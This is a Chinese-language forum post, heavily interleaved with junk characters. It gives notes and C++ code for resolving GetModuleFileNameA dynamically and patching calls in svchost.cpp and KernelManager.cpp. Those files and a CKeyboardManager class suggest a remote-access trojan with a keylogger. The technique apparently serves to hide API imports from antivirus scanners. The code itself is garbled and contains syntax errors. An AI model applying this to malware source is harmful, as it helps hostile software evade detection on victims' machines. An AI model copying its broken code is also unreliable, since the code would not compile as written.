|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
3 F4 K) b0 `; G0 Csvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
, U2 y. ?% c9 u1 \$ A p% C----------------------------------------! t5 ]! N) y2 ^
DTDY.h:
) r1 A3 i& ^. b9 w* @* d% l- X# t6 g9 W3 N- H5 R3 b
#if _MSC_VER>10004 `- y! i0 k& ]# T; l
#pragma once
4 E& I8 l' e3 [; c1 l/ _+ f#endif //_MSC_VER>1000
2 }% Y* y6 P9 s3 A4 x+ J#include<windows.h>
; q' O3 W, e1 n* n3 m7 y/ X% C7 L/ f# r4 k" `0 B8 |7 \
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" E- l# R. W% z: T9 n1 Kclass DTDY" G. t" r' T" }9 q5 L, Q
{2 {+ M/ a5 ~# y/ h0 }; b; A
public:6 q& R( r" `1 U1 V5 ?0 g2 S# H
DTDY();6 k1 f# b& t6 s2 K# ^
virtual ~DTDY();, R9 C3 v9 c0 D/ R2 z! c
public:
; a1 Y; q6 k3 Q. { R7 ^7 q5 gstatic pGetModuleFileNameA MyGetModuleFileName;
) a/ o. N3 i" L5 H5 @* x, ?/ Z! sstatic BOOL FunInitiallization();$ P7 _& \2 a; a3 ~
};$ n! e7 l9 C7 ?/ C$ h3 N6 v
#endif! M; d* q! f: C7 h3 c1 [
----------------------------------------6 P3 B F7 k: r& O
9 F4 W$ H) F4 e9 {DTDY.cpp:
# E2 a/ a3 o! z1 K6 G) u0 F! ` I* K% {) f c4 q8 _
#include "DTDY.h": `6 p7 h3 a' q" ^
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 t* J5 E/ i% b" P* g. NDTDY:TDY()
8 Z; H7 r% N" ]6 U) C1 o# j3 ~" t{
9 k% ~9 r. n7 a: C}
0 h9 r* [8 P1 g& W! VDTDY::~DTDY()
! Q- W% k: ?7 X9 ~{4 s7 W G0 @3 v L: ~( M
}0 }( l+ w. k: d& @
BOOL DTDY::FunInitiallization()* ]3 m a1 V1 \( D8 w
{
0 d( g. `$ s: _: D! U( U* g& v* YHMODULE hModule=LoadLibrary("kernel32.dll");
% e4 Y" O6 i' {: EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- W$ N5 {0 g* Z, S2 Iif(!MyGetModuleFileName=) return FALSE;/ p& \ t) f( K5 ^3 n% y3 f
2 [, B5 @) O# J/ d H
return TRUE;# K, U7 b J2 A) N% d6 J
} S2 X5 t. j, }5 A0 J5 _1 P
----------------------------------------( J' M! t9 A3 g: s$ K9 R6 H$ d
svchost.cpp:% J [+ p( b. d7 |
8 v% E: r9 J7 Q
#include "DTDY.h"
5 b7 ^! I- u) w
# S6 [0 b1 `0 H3 Z2 cBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
1 f9 a( l3 Q$ G7 ~, L2 r5 I{
/ x- {1 s; C J) M/ p5 A/ Jswitch(ul_reason_for_call): v$ E+ |! F! V; V. X0 O5 B
{: ]/ _: {9 `" e. h N
case DLL_PROCESS_ATTACH:1 K m: w. Z/ x% O# [3 S
if(!DTDY::FunInitiallization()) return FALSE;4 c3 T i/ V: Z2 E& c$ K/ U; I4 i
/ f& x# P& d H* _7 O- lbreak;6 u% f" h0 f, ^# t/ g& Z: m
}- T2 \ ]* ~/ Q2 }" _+ g) c) k
}
/ c' W( ^0 ~1 i K
( N' c. _) ]( R: B
& W8 P9 ^2 a- C E% U/ AGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 T) s9 c% w9 ?
改写为
. P: K; m8 L; I2 g' aDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
2 t, ~' z2 @3 ?1 O l----------------------------------------
8 a3 n! s# d. b) K. CKernelManager.cpp:
: M! |) y; A" e8 w U
8 g/ y/ b+ C6 w#include "../DTDY.h"# T- e! m4 ~, K7 z) K/ E- p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 g! f& k. ~8 J
改写为
* w7 Y9 p( N9 f2 T# \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ |& ?; _: X J% L. b
---------------------------------------- |
|